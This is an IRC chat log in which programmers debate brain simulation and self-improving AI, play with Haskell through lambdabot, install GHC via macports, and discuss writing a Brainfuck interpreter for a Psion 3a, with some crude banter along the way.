00:01:44 <lament> ehird: so it's irrelevant to the current problem
00:01:50 <lament> ehird: which is that we don't have such an AI
00:02:02 <Gracenotes> also, AI might improve itself in some areas, but becomes less flexible doing so
00:02:19 <ehird> Gracenotes: not necessarily.
00:02:32 <ehird> just make it not improve itself at the expense of not being able to improve itself as much.
00:02:35 <lament> ehird: once we get the AI, it might take days or moments for it to become ridiculously smart, but that's irrelevant
00:02:35 <Gracenotes> after all, flexibility and power are not infrequently at odds
00:02:46 <pikhq> lament: And the theory of singularity states that eventually there will be such an AI.
00:02:46 -!- ais523 has quit (Read error: 104 (Connection reset by peer)).
00:02:47 <ehird> lament: right; I'm not talking about that atm :-P
00:03:15 <ehird> anyway, it seems common to me that people read a brief overview of things and instantly assume people haven't already thought it through very well
00:03:24 <lament> having this AI in the first place is still a binary condition. Just like having time travel is a binary condition
00:03:35 <lament> neither is particularly dependent on the overall rate of progress
00:03:42 <Gracenotes> on a completely irrelevant point, I like the word "combinatorially" for exponential growth that depends on some factor other than time, like size
00:04:10 <pikhq> Except that it seems very, very likely that we will achieve one, given that it is only a matter of time until we have the resources to simulate an entire human brain.
00:04:30 <pikhq> (by simulating the functioning of each individual neuron and having a map of the neurons in a human brain)
00:04:44 <lament> simulating a brain is not very relevant to the problem of improving it.
00:04:58 <nooga> i doubt it's that simple
00:05:00 <pikhq> I strongly suspect there's better ways of *doing* that, but hey.
00:05:00 <lament> simulating a brain is mostly a technological challenge.
00:05:08 <ehird> Hypothesis: the more a hypothesis is taken to ridiculous extents in bad science fiction, the less likely people are to entertain a reasonable version of the hypothesis.
00:05:18 <ehird> (Someone make sci-fi that blows this out of proportion for the lulz, please.)
00:05:35 <lament> analogy - I can play Mozart on the piano, but I can't write better music than Mozart wrote
00:05:48 <pikhq> And this simulation would quite likely be sufficiently intelligent to at least attempt to make itself better.
00:06:05 <nooga> pikhq: ppl can make themselves better?
00:06:09 <lament> pikhq: you were only talking of simulating a human brain. Presumably it will be as intelligent as a human.
00:06:20 <nooga> no, because they don't know exactly how are they built
00:06:22 <lament> pikhq: we can't simulate anything smarter than a human, because we don't know anything that's smarter
00:06:24 <pikhq> nooga: No, because we can't modify ourselves all that well.
00:06:35 <ehird> yeah, you can expose an emulated brain to itself, is the kicker
00:06:41 <Gracenotes> if I were a machine, thinking about pros and cons, I wouldn't make myself better; I would make myself more powerful.
00:06:50 <ehird> Gracenotes: see friendly ai
00:06:53 <lament> ehird: Humans have been studying human brains for centuries, with mixed and mostly disappointing results.
00:06:55 <ehird> this can be coded around
00:06:55 <Gracenotes> but I don't know if machines will evolve with this weakness :)
00:07:02 <ehird> What we need is computing power not just enough to run a human, but to run it faster than we do.
00:07:09 -!- augur has joined.
00:07:15 <ehird> That way, it can spend the time learning how its brain works without us all falling asleep.
00:07:31 <pikhq> lament: Improvement of such a brain would, of course, not exactly happen overnight.
00:07:35 <ehird> lament: because we don't have the ability to inspect a brain in every level of detail while it is running
00:07:39 <nooga> so you expect that a net of neurons will magically learn how to design chips and instruct ppl where to put these chips?
00:07:47 <lament> ehird: it's a human brain. It will get bored and want to fuck.
00:07:58 <ehird> So simulate it fucking.
00:08:00 <lament> ehird: then it will realize it has no body, and get really fucking upset
00:08:22 <augur> i dont know what you kids are on about but lol
00:08:24 <nooga> it won't realise anything
00:08:31 <pikhq> nooga: Just like a net of real neurons does, yes.
00:09:25 <nooga> brain simulation will be, at best, on a level of drooling infant
00:09:30 <lament> ehird: there're two possibilities, either simulating a human brain, which will not give you any new power over the billions of human brains already available; or creating something better than a human brain, which is hard.
00:09:52 <pikhq> nooga: Sweet -- it can learn!
00:09:53 -!- inurinternet has quit (No route to host).
00:09:55 <ehird> lament: or creating something not as good as a human brain, but with a distinctive thing it's good at: improving itself.
00:10:07 <lament> ehird: unfortunately that's magic
00:10:07 <ehird> It's like outsourcing to india except without the whole terrible programming thing.
00:10:12 <nooga> pikhq: how will it learn to learn?
00:10:21 <lament> ehird: this involves somehow making this thing, which is exactly what we can't
00:10:28 <ehird> nooga: because you're simulating neurons.
00:10:33 <ehird> your brain is made out of them
00:10:35 <lament> ehird: simulating a brain is a technological challenge; we know what to do, just not how
00:10:37 <ehird> nooga doesn't learn
00:10:41 <ehird> that's why he's so stupid! :DDDDDDDDDDDDD
00:10:49 <lament> ehird: making a brain that's good at improving itself is something we don't know how to do
00:10:53 <ehird> lament: what you're saying is "I can't, and it hasn't been done"
00:10:56 <pikhq> lament: We can simulate a brain, though. Just not a very complex one.
00:11:01 <ehird> that is not a statement that lasts for eternity.
00:11:09 <pikhq> Last I checked, we could simulate an earthworm's brain.
00:11:16 <lament> ehird: correct. Just as with time travel.
00:11:31 <nooga> pikhq: How does a human? << nobody knows exactly (?)
00:11:48 <ehird> lament: except it's arguable whether time travel works with physics. I don't see any argument that a mind that changes itself is impossible, and I don't believe there is a good argument.
00:11:54 <lament> ehird: it's just that you were saying it will happen soon, when in reality there's absolutely no indication that it will happen ever
00:11:56 <ehird> nooga: we don't have to know if we simulate all the neurons
00:12:02 <lament> ehird: since we don't know how to do it
00:12:09 <pikhq> lament: ... But we do.
00:12:11 <ehird> lament: we didn't know how to make computers 100 years ago
00:12:21 <ehird> babbage, then, is on crack.
00:12:21 <nooga> ehird: probably, the details are crucial here
00:12:29 <ehird> he's just wildly theorizing and we'll never make a compute.
00:12:34 <Gracenotes> the brains will be upset that they are programmed in C, instead choosing to program themselves in high-performance Haskell!
00:12:34 <lament> pikhq: by "it", if you weren't following the conversation, i meant "simulating a brain that's like a human brain, but good at improving itself"
00:12:44 * pikhq tries to find the report of the guys running a simulation of a brain.
00:12:52 <lament> pikhq: since obviously just simulating a brain is not enough to solve any problem
00:13:29 <nooga> it's like an effort: let's make a submarine! i saw one! and then you go to a scrapheap buy tons of metal and weld it to resemble a submarine
00:13:38 <lament> that "but good at improving itself" part is magic - there's no indication we can even do this
00:13:45 -!- augur has quit (Read error: 104 (Connection reset by peer)).
00:13:49 <nooga> let's make brain! i saw one! it has neurons and everything
00:13:51 <lament> "let's build a ship that's just like a regular ship, but flies faster than light"
00:13:59 -!- augur has joined.
00:14:02 <ehird> nooga: that's a very bad analogy.
00:14:05 <ehird> we _know_ how neurons work.
00:14:15 <pikhq> An intelligence that could modify itself could.
00:14:18 <ehird> we _know_ how to simulate a glob of neurons.
00:14:28 <ehird> it's just a matter of scale.
00:14:57 <nooga> and how do you know that simulation was correct
00:14:58 <lament> ehird: sure, simulating a brain is easy.
00:15:09 <pikhq> It's a matter of slicing up a cadaver's brain very, very thinly and noting exactly where every single neuron interconnects and sticking it into a neural net.
00:15:21 <ehird> lament: we've agreed. nooga is just busy being wrong
00:15:40 <nooga> pikhq: connections are dynamic
00:16:01 <pikhq> nooga: Yes, we know that.
00:16:13 <lament> pikhq: brains are a lot more complex than that, but we could just take it apart atom by atom and simulate that :)
00:16:23 <nooga> pikhq: It's a matter of slicing up a cadaver's brain very, very thinly and noting exactly where every single neuron interconnects and sticking it into a neural net. << then you would end up with a learned brain
00:16:28 <ehird> lament: simulating any region of space with our current physics requires infinite computation, IIRC
00:16:32 <ehird> pesky quantum physics
00:16:33 <nooga> probably a stupid one
00:16:43 <CESSMASTER> and choosing different random number generators would result in mood swings
00:16:58 <ehird> nooga: your hypothesis ONLY WORKS if there is a metaphysical, outside-the-brain, soul/mind.
00:16:59 <lament> ehird: anyway this whole issue is irrelevant to the actual problem
00:17:04 <pikhq> nooga: We've done that, just not with a very complex brain.
00:17:05 <ehird> Otherwise, it is exactly the person scanned.
00:17:10 <lament> which is developing an AI that can improve itself
00:17:20 <ehird> nooga: and if you believe in such a soul, I don't care; it's unscientific, irrelevant and I reject it as an argument
00:17:34 <ehird> then the brain is the mind and the mind we run will be the brain we scan.
00:17:35 <lament> humans have studied brains for centuries but don't know how to improve them, even theoretically
00:17:42 <ehird> and there's no capacity for it to be a learned, stupid brain.
00:19:49 <nooga> i htink that humen brain is suited to process input data from humans body and such crap as feelings + remembering and forgetting etc etc
00:20:03 <ehird> feelings/remembering/forgetting are due to neurons and chemicals.
00:20:12 <nooga> if you build a silicon copy of that it would stay in constant darkness
00:20:21 <ehird> it would just be blind.
00:20:28 <ehird> you're arguing that blind people are useless?
00:20:30 <pikhq> lament: Because we don't have a complete neuron map of it, of course.
00:20:33 <nooga> blind/deaf everything
00:20:41 <ehird> anyway, we can probably give it sensors.
00:20:50 <nooga> do you know how to feed data right into the brain?
00:20:59 <nooga> like video streaming or what? :P
00:21:09 <lament> pikhq: having the map is not enough - we need to understand how to change the map to make the brain smarter
00:21:30 <nescience> i like to think of memory as analagous to a sense
00:21:33 <pikhq> The brain is really flexible. We can stick video input on just about any input and the brain figures it out.
00:22:16 <pikhq> nooga: Don't have to get it to the right place.
00:22:17 <pikhq> Neuroplasticity means it just has to get into the brain at all.
00:22:30 <pikhq> (see: vision via tongue)
00:22:36 <ehird> remember that we've been evolving for a good amount of years to be resilient and accept a bunch of inputs and the lik
00:22:52 <ehird> if it were überstrict about how everything was put together, there'd be a lot more dead people.
00:22:56 <lament> we've been evolving for a good amount of years and still aren't terribly bright
00:23:21 <ehird> lament: evolution doesn't care about whether we're clever or not.
00:23:29 <ehird> it does, however, care about us surviving until we breed a lot.
00:23:30 <lament> ehird: it obviously does
00:23:35 <ehird> lament: to a degree
00:23:37 <nooga> so you will hook up internet connection into that electronic spinal cord and kaboom
00:23:44 <nooga> chat with your digital brain on irc
00:24:04 <ehird> that happened in Achewood.
00:24:26 <nooga> because you expect that it would magically lean to produce "papa" string and irc message by recieving tons of irc messages
00:24:51 <pikhq> nooga: You're not familiar with neuroplasticity at all, are you?
00:25:05 <ehird> he's polish. they're all dumb >:)
00:25:11 <ehird> (sameple size 2 :D)
00:25:24 <pikhq> That's what would happen, except that it would be creating a lot of syntactically invalid IRC at first.
00:25:33 <pikhq> And I mean a *lot*.
00:25:40 <ehird> .ckjstjio4ut98euf89dfug9fjditaerjkaH*&!&*@%^1378`19999v f hkj lk
00:25:43 <ehird> kju ir8y389w444u938
00:25:50 <ehird> Whoa, I c an do this by thinking?
00:26:13 <ehird> Sex, must breed I wonder if it gives MUST BREED all my th OH GODDAMN I DON'T HAVE ANY ORGANS oughts?
00:26:13 <nooga> ehird: that was quite rude
00:26:24 <ehird> ↑ the first artificial brain's words
00:27:43 <nooga> i've read today about teaching maths
00:28:15 <Gracenotes> wow, I feel so special reading manga right to left. Amn't I special or something. riiiight.
00:28:38 <nooga> and the paper said that infants can't count, they even don't know that counting is possible and exists
00:28:40 <Gracenotes> (although to be fair I can read hebrew, albeit vowelled)
00:29:15 <nooga> but somehow the notice which figure depicts eg. more squares (they seem to like that one more and get upset when squares disappear)
00:29:36 <nooga> where did they learn that? IN MOTHER'S TUMMY?
00:29:59 <ehird> PRAISE BE UNTO HIM
00:30:02 <nooga> there's no such thing?
00:30:03 <ehird> AND HIS SQUARE COUNTING POWERS
00:30:49 <nooga> it's instinct or something?
00:31:04 <nooga> how do you put instinct in artificial brain?
00:32:02 <nooga> and do you know how to write that into the brain?
00:32:14 <ehird> "YouTube is down for maintenance and will be back shortly."
00:32:17 <ehird> noooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
00:32:21 <ehird> nooga: INSTINCT IS PART OF THE NEURONS!!!!!
00:32:21 <nooga> what input laguage would you choose to program blank brain
00:32:24 <ehird> THE. BRAIN. IS. NEURONS.
00:32:30 <ehird> NEURONS NEURONS NEURONS NEURONS NEURONS NEURONS NEURONS NEURONS NEURONS NEURONS NEURONS NEURONS NEURONS NEURONS NEURONS NEURONS NEURONS NEURONS NEURONS NEURONS NEURONS NEURONS NEURONS NEURONS NEURONS NEURONS NEURONS NEURONS NEURONS NEURONS NEURONS
00:32:39 <nooga> humans have neurons
00:32:49 <nooga> even spider has some
00:32:53 <ehird> AMOEBAE HAVE NEURONS
00:33:03 <pikhq> There's attempts to get an entire mouse brain going.
00:33:31 <pikhq> Gracenotes: LAWLWUT‽
00:33:37 <nooga> but how it's done that we don't lick our balls and so
00:34:09 <pikhq> nooga: ... Neurons...
00:34:27 <pikhq> Would you prefer for use to have a complete model of human cells and go from there?
00:34:38 <pikhq> Not going to be too long before we can do that.
00:34:53 <nooga> pikhq: neurons what
00:34:57 -!- Dewio has joined.
00:35:16 <pikhq> nooga: The entire state and functioning of the brain is encoded in neurons.
00:35:29 <nooga> how to set the initial connections
00:35:32 <pikhq> We don't have to write into it what is already there.
00:35:33 <nooga> before running the brain
00:35:41 <pikhq> We take a map of the human brain.
00:35:53 <ehird> 00:33 nooga: but how it's done that we don't lick our balls and so
00:36:08 <pikhq> And use that for the initial state.
00:36:18 <pikhq> That's all there is to it.
00:37:18 <pikhq> After that, we go into researching how to modify that while trying to get I/O connections working and get that brain working on the same.
00:37:21 -!- labo has joined.
00:37:36 <pikhq> (no guarantees, it might want to do something else entirely -- in which case we start another brain. :P
00:38:21 <nooga> and the copied personality gets consciousness and he's like "omfg, i'm deaf, i'm blind, i can't move or say anything, what a fucked up dream.... wait' what's that tingling?"
00:38:56 <nooga> and that tingling is a video stream from camera and an internet connection hooked up to the digital brain ;p
00:39:14 <pikhq> And eventually that tingling will reroute to the neural cortex.
00:40:17 <nooga> connect a network cable to your spinal cord and observe how fast you will start to browse porn in your head
00:40:57 <pikhq> ehird: Nooga really doesn't get the "we already can do this" bit, does he?
00:41:03 * Tidus35 hops out of nowhere to comment. In order for a digital system to host a conciousness it would probably need an inherent unpredictability/randomness with which that conciousness could wield it's free will.
00:41:20 <nooga> that'd require learning whole new language of impulses
00:41:32 <nooga> and interpretation of that language
00:41:42 <pikhq> nooga: And the brain can do this.
00:41:51 <nooga> eg. seeing jpg in your head would require decoding it and such
00:41:56 <ehird> Tidus35: Free will is an illusion.
00:42:02 <ehird> There is no such thing.
00:42:49 <Tidus35> I would have to wonder also, is there a hierarchy of wills
00:43:17 <nooga> ehird: you don't have free will? is it fate or what that drives you?
00:43:41 <Tidus35> nooga, they say it's no single factor, but a combination
00:43:42 <ehird> I am merely a collection of atoms firing according to quantum mechanics.
00:43:54 <ehird> I have a subjective perception of some kind that I call a consciousness.
00:44:01 <ehird> None of this I have any actual control of.
00:44:11 <ehird> because there is no "I".
00:44:22 <nooga> human can't imagine that
00:44:50 <nooga> this is consciousness, you can't imagine a situation that you don't exist, from your point of view
00:44:58 * Tidus35 suspects that if anyone can get to the bottom of such mysteries it is you esoteric language coders.
00:45:39 <ehird> nooga: Of course consciousness cannot "imagine" unconsciousness, because unconsciousness is the lack of imagining.
00:46:09 <Tidus35> computers and neurons have been associated for over 60 years
00:46:25 <Tidus35> you are on the right track
00:47:24 <nooga> ehird: you mere bunch of atoms. what is a number?
00:47:37 <ehird> nooga: A number is an abstract concept. It does not "exist".
00:48:01 -!- Dewi has quit (Read error: 101 (Network is unreachable)).
00:48:42 <nooga> so mere bunch of atoms can change it's state to "imagine" something that does not exist and is not a bunch of atoms
00:49:17 <ehird> Sure. Brains are pretty cool.
00:50:10 <Tidus35> I had an idea before of distributed programming.. where every person only writes 1 function
00:50:18 <Tidus35> but with say 10,000 programmers
00:50:27 <comex> Tidus35: that woul be a bit of a mess
00:50:29 <nooga> hmm, brain is not digital at all, but dna and stuff is
00:50:44 <nooga> Tidus35: linux kernel development? had been done
00:51:34 <ehird> there isn't a good way to get 10,000 programmers.
00:51:39 <Tidus35> you would begin with someone writing the top level function.. and so on.. with more and more people being sent requests for functions until the whole thing is fleshed out
00:51:49 <ehird> it's quite unlikely to compile :)
00:52:51 <nooga> maybe rather: request a function that reads some input data and returns some data + documentation of that output data
00:53:05 <nooga> then send the documentation to another coder
00:53:37 <nooga> and then chain the programs
00:54:19 <Gracenotes> ehird: we just need to let the Empire run things!
00:54:23 <nooga> and the requirement would be that the program must calculate output data from input data
00:54:58 <Tidus35> i actually got scared by the idea, imagining an ant or bee colony
00:55:58 <nooga> qite asynchronous colony with a bunch of slackers that drink coffee and fap to the internet
00:57:07 <Tidus35> nooga, i'm very newbie so i wouldn't have the faintest clue how linux kernels are coded. *phew*
00:57:28 <pikhq> Tidus35: Are you familiar with git?
00:57:55 <pikhq> Git was developed because Linux needed it.
00:58:19 <pikhq> Linus gets hundreds of patches daily, I'd imagine.
00:58:26 <nooga> our machine laguages and even programming languages are at beast only a bit abstract
00:58:42 <pikhq> Says someone who does no functional programming at all.
00:59:12 <nooga> even haskell or erlang are only a bit abstract
00:59:28 <pikhq> fibs = 0:1:zipWith (+) fibs (tail fibs)
00:59:33 <pikhq> That's only a bit abstract?
00:59:40 <pikhq> > fibs = 0:1:zipWith (+) fibs (tail fibs)
00:59:41 <lambdabot> <no location info>: parse error on input `='
00:59:49 <pikhq> > let fibs = 0:1:zipWith (+) fibs (tail fibs)
00:59:51 <lambdabot> not an expression: `let fibs = 0:1:zipWith (+) fibs (tail fibs)'
00:59:53 <ehird> > let fibs = 0 : 1 : zipwith (+) fibs (tail fibs) in fibs
00:59:56 <pikhq> > let fibs = 0:1:zipWith (+) fibs (tail fibs) in fibs
00:59:57 <lambdabot> [0,1,1,2,3,5,8,13,21,34,55,89,144,233,377,610,987,1597,2584,4181,6765,10946...
01:00:01 <ehird> noooooooooooooo ya beat me.
01:00:08 <ehird> but yeah, nooga, you're an idiot
01:00:14 <ehird> functional programming languages are basically mathematics.
01:00:31 <pikhq> Haskell is a typed lambda calculus.
01:00:35 <ehird> basically, yes, because pure mathematics would be useless.
01:00:39 <pikhq> It doesn't get *much* more abstract than that.
01:00:49 <ehird> pikhq: note that haskell relies on names
01:00:53 <ehird> e.g. the Y combinator doesn't type
01:00:58 <ehird> but fix f = f x where x = fix f does
01:01:06 <ehird> (you can make it type with a "newtype", which is... a name.)
01:01:09 <pikhq> ehird: Eh, fair enough.
01:01:20 <ehird> the regular typed LC is also not tc
01:02:09 <nooga> music is over 9000 times abstract than haskell
01:02:11 <pikhq> Still, it doesn't get much more abstract than that, barring straight lambda calculus.
01:02:38 <pikhq> Funny, it seems to have very few abstractions.
01:02:41 <ehird> nooga: apples, tables.
01:03:03 * pikhq suspects nooga is not familiar with music theory at all
01:03:29 <nooga> music theory is a theory
01:03:35 <ehird> theory: polish brains aren't based on neurons
01:03:36 <pikhq> Just note that music is in large part defined by various physical properties. ;)
01:03:39 <ehird> Is nooga about to say that,
01:03:44 <nooga> you can break it whenever you like
01:03:44 <ehird> and music isn't based on it
01:03:54 <ehird> Figure A. ehird stabs nooga. :P
01:04:05 <pikhq> nooga: That ain't very abstract, now is it?
01:04:42 <nooga> you can't break the lambda calculus rules because you want and expect that the program will execute
01:04:53 <ehird> there aren't any invalid LC programs
01:04:59 <ehird> barring syntactical errors, which are trivial and irrelevant
01:05:27 <pikhq> When the only general notation for something is a recording of the sound itself, uh... Yeah. That's about as unabstract as you can get.
01:06:11 <nooga> ok eot i'm completely wrong
01:06:28 <pikhq> (a subset of music, that which can be written with Western musical notation, is more abstract than that, of course. It's still not very abstract. It's in large part based in physics...)
01:06:31 <ehird> have we ever agreed with nooga? :D
01:06:51 * nooga is smoking an abstract ciggarette
01:07:05 * nooga has enormous blood pressure atm
01:07:11 <ehird> ciggarette? the extra g means jiggawhat
01:07:20 <ehird> http://answers.yahoo.com/question/index?qid=20070404113712AAOlzkz
01:07:23 <ehird> "How do u smoke a ciggarette?"
01:07:47 * ehird frames "How do u smoke a ciggarette?", puts on wall
01:08:29 <nooga> ehird franes "How do u smokke a ciggarette?", puts on wall
01:08:48 <nooga> smokke, sounds a bit norwegian
01:09:52 <ehird> strijewzica, sounds polish
01:10:59 <nooga> stewpid, sounds british
01:22:29 <pikhq> ehird: The Expr used above, is that in Text.Parsec.Expr, or what?
01:23:17 <ehird> pikhq: http://twan.home.fmf.nl/blog/haskell/simple-reflection-of-expressions.details
01:24:46 -!- labo has left (?).
01:24:48 <nooga> cool, GHC integrates with xcode
01:25:18 <nooga> i implied that from the statement that it NEEDS xcode
01:25:44 <nooga> This is an installer for Mac OS X 10.5 (Leopard). The package requires Xcode 3.0 to be already installed.
01:25:45 <pikhq> I'd assume that's because Xcode is where you get GCC in OS X.
01:25:52 <nooga> http://www.haskell.org/ghc/download_ghc_6_10_3.html#macosxintel
01:26:08 <ehird> sudo port install ghc
01:26:19 <ehird> sudo port install hs-cabal
01:26:23 <nooga> shouldn't they write that it needs GCC then?
01:26:32 <ehird> it's to make things simple
01:27:53 <nooga> okay, now i can go to sleep instead of waiting for it to compile
01:28:38 -!- jix has quit ("really").
01:28:55 <nooga> jix noticed the arrow?
01:30:38 <nooga> ehird: could you please recommend some books on haskell ?
01:31:18 <nooga> once i've tried haskell, but then i've just read a simple tutorial
01:44:27 <pikhq> http://www.learnyouahaskell.com/
01:50:55 <pikhq> > let 2+2 = 5 in 2+2
01:52:27 <nooga> almost like Why's ruby book
02:00:44 <pikhq> > let id 4 = 5 in id 4
02:26:16 -!- upyr[emacs] has quit (Remote closed the connection).
02:28:31 <nooga> ghc is compiling for hours :|
02:28:55 <pikhq> You screwed something up.
02:29:10 <pikhq> ... Oh, building GHC itself?
02:42:44 -!- iEhird has joined.
02:44:01 <comex> iEhird: you know you're in violation of apple's trademark
02:44:33 <iEhird> may have forgot. set wifi to first intel card in list since better drivers, does 5ghz and only costs a few pounds
02:44:54 -!- iEhird has quit (Remote closed the connection).
03:50:21 -!- oerjan has quit ("Good night").
03:59:05 -!- nooga_ has joined.
04:12:58 -!- nooga has quit (Read error: 110 (Connection timed out)).
04:16:48 -!- FireFly has joined.
04:56:15 <lament> > replicate 12 "badger"
04:56:16 <lambdabot> ["badger","badger","badger","badger","badger","badger","badger","badger","b...
05:04:56 <Warrigal> I'm writing a theorem prover that uses science!
05:06:23 <lambdabot> "badgerbadgerbadgerbadgerbadgerbadgerbadgerbadgerbadgerbadgerbadgerbadgerba...
05:06:52 <lambdabot> ["badger","badger","badger","badger","badger","badger","badger","badger","b...
05:06:56 <comex> I still fail at haskell :pp
05:07:09 <lambdabot> "Badger, badger, badger, badger, badger, badger, badger, badger, badger, ba...
05:07:38 <comex> > length (repeat "badger")
05:08:16 <lambdabot> "mi nelci lo du'u mi nelci lo du'u mi nelci lo du'u mi nelci lo du'u mi nel...
05:08:31 <Warrigal> That's Lojban for "I like the fact that I like the fact that I like the fact that . . ."
05:09:24 <pikhq> Haskell-generated Lojban. How appropriate.
05:11:16 <pikhq> > let badgers = "Badger, badger, badger, badger, badger, mushroom mushroom! " : badgers in badgers
05:11:17 <lambdabot> ["Badger, badger, badger, badger, badger, mushroom mushroom! ","Badger, bad...
05:11:36 <pikhq> Hrmm. Not quite what I wanted.
05:11:46 <pikhq> > let badgers = "Badger, badger, badger, badger, badger, mushroom mushroom! " ++ badgers in badgers
05:11:47 <lambdabot> "Badger, badger, badger, badger, badger, mushroom mushroom! Badger, badger,...
05:20:14 <Warrigal> > let process x = unwords x; nelci [x1,x2] = x1 ++ ["nelci"] ++ x2; mi = ["mi"]; lo selbri = "lo" : selbri; duhu bridi = "du'u" : bridi in process (fix (\x -> nelci[mi,lo (duhu x)]))
05:20:16 <lambdabot> "mi nelci lo du'u mi nelci lo du'u mi nelci lo du'u mi nelci lo du'u mi nel...
05:26:33 <pikhq> I need to make a Haskell function for n-Buffalo.
05:26:57 <pikhq> Or even a corecursive list, if I can.
05:49:48 <augur> pikhq: you need more badgers
05:49:58 <augur> 12, to be precise.
05:54:50 <augur> >repeat ((take 12 (repeat "badger, ")) ++ "mushroom, mushroom! ")
05:54:56 <augur> > repeat ((take 12 (repeat "badger, ")) ++ "mushroom, mushroom! ")
05:54:58 <lambdabot> Couldn't match expected type `[GHC.Types.Char]'
05:55:58 <augur> > repeat (join (take 12 (repeat "badger, ")) ++ "mushroom, mushroom! ")
05:56:00 <lambdabot> ["badger, badger, badger, badger, badger, badger, badger, badger, badger, b...
05:56:18 <augur> > join (repeat (join (take 12 (repeat "badger, ")) ++ "mushroom, mushroom! "))
05:56:19 <lambdabot> "badger, badger, badger, badger, badger, badger, badger, badger, badger, ba...
06:13:33 -!- kar8nga has joined.
06:42:10 -!- kar8nga has quit (Remote closed the connection).
06:42:53 <pikhq> You know what languages are really interesting? The languages which are provably impossible to implement.
06:42:58 <pikhq> Examples include C++ and Perl.
06:44:26 <GregorR> bool doesHalt(void(*func)(), int stdin);
06:44:46 <pikhq> C++ cannot be compiled.
06:45:09 <pikhq> Only the subset of C++ for which its templates halt can be compiled.
06:46:40 <GregorR> ............. I just saw a commercial for "Do not Murder"
06:46:54 <GregorR> Um ... OK? I'm glad these things are advertised or I wouldn't know.
06:52:08 <GregorR> It was a commercial ... for "Do not Murder"
06:53:27 <pikhq> Also weird is that C++ essentially is two functional programming languages compiling to an imperative one.
06:53:31 <GregorR> It started with a recording of some 911 call where somebody had apparently accidentally killed her friend I guess (apparently this is murder, whatever), and then it said "Do not Murder"
06:54:01 -!- immibis has joined.
06:56:41 <Warrigal> GregorR: how did the recording go?
06:58:20 <GregorR> "Oh my god, I think she's dead, you've got to help me, oh my god." "Ma'am, where are you? Can you tell me what happened?" "Oh my god, help me, please, I think she's dead"
06:58:27 <GregorR> There was really no content.
07:02:54 -!- FireFly has quit ("Later").
07:11:45 <GregorR> So anyway, like, don't murder.
07:11:51 <GregorR> I saw it on TV. I think it's bad or something.
07:21:19 -!- pikhq_ has joined.
07:22:19 -!- pikhq has quit (Nick collision from services.).
07:22:25 -!- pikhq_ has changed nick to pikhq.
07:41:06 -!- pikhq_ has joined.
07:41:54 -!- pikhq has quit (Nick collision from services.).
07:42:00 -!- pikhq_ has changed nick to pikhq.
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:02:56 -!- pikhq_ has joined.
08:06:41 -!- tombom has joined.
08:16:08 -!- pikhq has quit (Read error: 110 (Connection timed out)).
08:23:44 -!- pikhq_ has changed nick to pikhq.
08:29:35 -!- olsner has quit ("Leaving").
09:59:17 -!- pikhq_ has joined.
10:05:43 -!- deveah has joined.
10:09:09 -!- pikhq has quit (Read error: 110 (Connection timed out)).
10:21:55 -!- MigoMipo has joined.
10:33:43 -!- immibis has quit ("Never put off till tomorrow, what you can do the day after tomorrow").
10:39:15 -!- ais523 has joined.
10:50:23 -!- GreaseMonkey has quit ("HydraIRC -> http://www.hydrairc.org <- Nobody cares enough to cybersquat it").
11:32:19 -!- asiekierka has joined.
11:32:54 <asiekierka> Brainf**k for the Psion 3a: 5%, finally found out "The Proper Way To Do File I/O"(tm)
11:33:24 <Slereah_> Isn't there a brainfuck for everything nowadays?
11:33:36 <Slereah_> Are you gonna make a brainfuck for iPhone?
11:34:18 <asiekierka> And I selected Brainf**k because I need to learn OPL well
11:34:27 <asiekierka> (the Psion Series 3/3a/3c/3mx programming language)
11:35:04 <asiekierka> Organiser Programming Language (at the time of Psion 3a's and when Psion was in the PDA market)
11:35:16 <asiekierka> after they went out of the PDA market, it became Open Programming Language
11:46:46 <asiekierka> remember i'm typing it on a tiny keyboard
11:50:34 <asiekierka> Not going to implement a stack as my Psion is 256k
11:50:40 <asiekierka> though there are Psion's with RAM up to 2MB
11:50:50 <asiekierka> and you can modify a 256k model to be a 512k model
12:06:41 -!- Sgeo has joined.
12:43:30 <ais523> and how long would Lost Kingdoms take to run?
12:43:44 <asiekierka> (The Psion 3a can have up to 2MB of RAM
12:43:48 <ais523> it's more than 256k, isn't it?
12:44:02 <ais523> the mandelbrot program, then
12:44:12 <amca> asiekierka: What's wrong with implementing a stack in 256k? Isnt that plenty of room for a 256 word stack? (which is probably all you would need)
12:44:22 <asiekierka> But I'm using the same algorithm as my PC interpreter
12:44:38 <amca> asiekierka: Counts [] pairs?
12:44:52 <amca> asiekierka: Did u finish the pong?
12:45:52 <amca> Slereah_: Can I ask what esoteric language would be better to implement than BF?
12:46:06 <ais523> cyclic tag is often easier, though
12:46:17 <ais523> http://esolangs.org/wiki/Bitwise_Cyclic_Tag is one particular formalisation of it into a language
12:46:19 <asiekierka> ais523: I'm not sure if OPL has dynamic ariables
12:46:31 <asiekierka> that's why I dunno if a stack would work
12:46:40 <ais523> does it have dynamic arrays?
12:46:43 <amca> asiekierka: No it wouldnt
12:47:04 <asiekierka> amca: But you can never have enough stack memory
12:48:16 <amca> asiekierka: Well, by the same token, you can never have enough of any memory, so you just choose the appropriate level of 90% of applications
12:50:24 <amca> Studies show most apps only require stacks 16 levels deep. It may be different for BF, but that is easily tested by running common BF programs in it and keeping track of the maximum needed for each program, then choose a level that will suit most of them
12:50:40 -!- upyr[emacs] has joined.
12:50:56 <asiekierka> amca: Also, I think I need to optimize my BF interpreter in 8086 assembly
12:51:14 <asiekierka> yes, a Psion 3a runs on a 8086 (clone i think?)
12:51:20 <amca> What is it currently implemented in?
12:52:15 <asiekierka> The problem is that addresses can be from $0 to $200000
12:52:46 <amca> But you have access to the segment registers right?
12:53:37 <amca> That makes 64k for code, 64k for data and 64k for stack
12:53:58 <asiekierka> this is SIBO (SIxteen-Bit Os or something)
12:54:10 <amca> No CS, SS, DS or ES?
12:55:39 <amca> Are syscalls done using ints?
12:56:04 <amca> No, I mean INT ops
12:56:14 <amca> As in Interrupts
12:56:33 <amca> Or are they called/jump blocks?
12:57:33 <amca> Is the doc for this online?
12:57:54 <asiekierka> You can download it in various formats
12:58:25 -!- ehird has left (?).
12:59:10 -!- ehird has joined.
12:59:54 <ehird> 00:30 nooga: ehird: could you please recommend some books on haskell ?
12:59:58 <ehird> what pikhq said :p
13:00:11 <ehird> 01:28 nooga: ghc is compiling for hours :|
13:03:08 <ais523> why don't people just use binaries of stuff that's hard to compile?
13:03:16 <ais523> is it a source-for-everything mentality?
13:03:27 <ehird> ais523: macports is a source-only package manager
13:03:53 <ehird> ais523: and official os x installers for unix-like software always disagree whether to put stuff
